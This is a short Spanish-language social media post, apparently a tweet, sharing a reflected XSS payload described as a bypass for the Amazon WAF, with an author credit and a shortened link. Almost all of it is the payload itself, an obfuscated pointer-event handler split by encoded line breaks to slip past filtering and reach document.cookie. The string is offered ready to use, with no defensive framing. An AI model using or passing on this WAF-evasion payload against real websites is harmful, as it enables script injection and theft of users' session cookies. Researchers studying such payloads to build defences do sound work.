Podría ser de utilidad:
RXSS Reflejado
Bypass WAF Amazon
Payload :
“><D3V%0aONPoiNtERENTEr%0d=%0d[document.cookie].find(confirm)%0dx>by-thegame008 https://t.co/gslUFebJow